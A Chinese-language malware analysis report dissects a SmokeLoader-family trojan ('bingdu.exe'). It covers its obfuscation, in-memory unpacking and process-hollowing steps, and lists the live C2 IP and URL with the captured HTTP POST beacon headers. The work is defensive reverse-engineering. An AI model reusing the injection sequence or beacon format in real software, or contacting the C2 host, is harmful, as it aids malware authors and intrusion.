一、样本概况
MD5:72ceccc9998a49d984bf8648262304f5
文件名称:bingdu.exe
文件类型:PE32
是否加壳:无壳
编写语言:C++
IOC:
IP URL | 138.201.88.153 | 恶意远控 |
http://138.201.88.153:8998 |
沙箱检测结果
初步判定样本为恶意远控,SmokeLoader家族木马
使用到的工具:
X32dbg(以及ollydump插件),IDA,火绒剑,DIE等
虚拟分析环境:
win10 虚拟机
样本恶意行为:
枚举进程模块
查询系统信息,包括用户名和计算机硬件信息
向远控IP发起HTTP post请求
存在的问题:
推测可能是样本具有反虚拟机的特性
二、详细分析:
在IDA中查看winmain反编译之后的代码,主要有两个call调用,
1. call sub_40CD60
发现内部存在大量的混淆逆向分析的无意义的代码
类似于:
在尾部找到了关键代码
以下是关于这些子函数的具体说明
sub_40C9C0
sub_40C9C0:返回加载到进程空间中的kernel32.dll 中的VirtualProtect的地址,用于修改内存的属性
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
此处通过VirtualProtect将以dword_2CC6B8C为基址,大小为71944字节的内存属性修改为可读可执行
在堆栈区观察传入的四个参数
内存基址是dword_2CC6B8C中保存的数据0x0302A260
内存大小是0x00011908,也就是71944字节
要修改的内存属性为:0x40,即可读可执行
sub_40CD30
初步判断该函数可能是用来干扰逆向人员分析的
sub_40CA60
在循环体中,能够被执行一次,查看具体的内容
该函数的作用是改变dword_2CC6B8C中保存的值
sub_40CB60
该函数载入msimg32.dll
2. call dword_2CC6B8C
在X32dbg中动态调试,获取到动态导入的函数
首先F7步进call bingdu.[2CC6B8C],
再步进第一个call,
然后步过第一个call,在堆栈区获取到动态载入的函数地址,
在步过的代码处调用LoadLibrary和GetProcAddress获取函数地址
拍摄进程快照-枚举模块
调用CreateToolhelp32Snapshot获取进程快照
根据传递的第一个参数猜测之后可能是枚举模块
并且在动态导入的函数中有Module32First
数据解密
之后对02E5E200处的数据处理,循环次数为0xA1C9
VirtualAlloc分配空间
向申请的空间中写入数据
在申请的空间写完值之后,跳转到分配空间的基址处执行
申请空间的写入的代码的具有哪些功能呢?
向0x00400000处写数据
call 0X2E80CCE将00400000处大小为0x1E000的内存部分清零
之后将02EA0000处大小为400的数据写入0x00400000中,之后跳转到eax处执行
该样本使用了LoadPe技术,自己实现了类似于Createprocess 把第二个进程的代码拷贝到00400000
使用ollydump将其转储
转储得到的文件命名为 olly_dump.exe
3. olly_dump.exe
动态初始化
在olly_dump.exe中依然存在很多混淆指令
跟进sub_401000
该函数的作用是通过loadLibrary和GetProcAddress加载各种库和函数,完成初始化工作
检查互斥量
然后是一个互斥量的判断
条件语句实现的功能是:如果存在互斥体就结束,如果不存在则创建
网络行为
解密获取url
call bingdu.4127FD实现解密数据获得C2网址
连接C2
InternetOpen初始化应用程序对 WinINet 函数的使用
sub_40FB7C连接网络服务器
发起HTTP请求,请求类型为POST
request: POST http://138.201.88.153/
data: POST / HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Zadanie Host: 138.201.88.153:8998 Content-Length: 102 Connection: Keep-Alive Cache-Control: no-cache
三、总结:
1.样本的基本执行流程
2.该样本中存在大量的混淆花指令,给分析人员的逆向工作增加了难度
3.应对措施:
-
- 保持更新的安全知识:随时了解最新的无文件病毒攻击技术和防护措施,以保持对抗无文件病毒的能力。
- 及时响应和清除:一旦发现无文件病毒的存在,立即采取行动,隔离受感染的系统,并使用专业的工具进行彻底的清除和修复。
- 监控系统活动:定期监控系统日志和活动,以及使用安全信息和事件管理系统(SIEM)等工具来检测和响应无文件病毒的活动。
- 定期备份数据:定期备份重要数据,并将备份文件存储在离线和安全的地方,以防止无文件病毒对数据的损坏和勒索。
- 使用行为分析工具:使用行为分析工具来监测系统中的异常活动,例如不明进程、异常的网络连接等,以及检测无文件病毒的行为模式。
- 加强员工安全意识:教育和培训员工如何识别和避免钓鱼邮件、恶意链接和下载可疑附件,提高员工对无文件病毒的意识。
- 强化网络安全:使用防火墙和入侵检测系统(IDS)等工具来监控和阻止无文件病毒的入侵。配置强密码和网络访问控制,限制外部访问。
- 使用应用程序白名单:配置应用程序白名单,只允许运行经过授权的可信应用程序,以阻止未经授权的无文件病毒执行。
- 更新操作系统和软件:及时安装操作系统和软件的安全补丁和更新,以修复可能存在的漏洞,减少被无文件病毒利用的风险。
- 使用高级安全软件:选择一款具有高级防护功能的安全软件,例如终端安全解决方案 或高级终端保护软件。这些软件通常具有专门针对无文件攻击的检测和防护机制。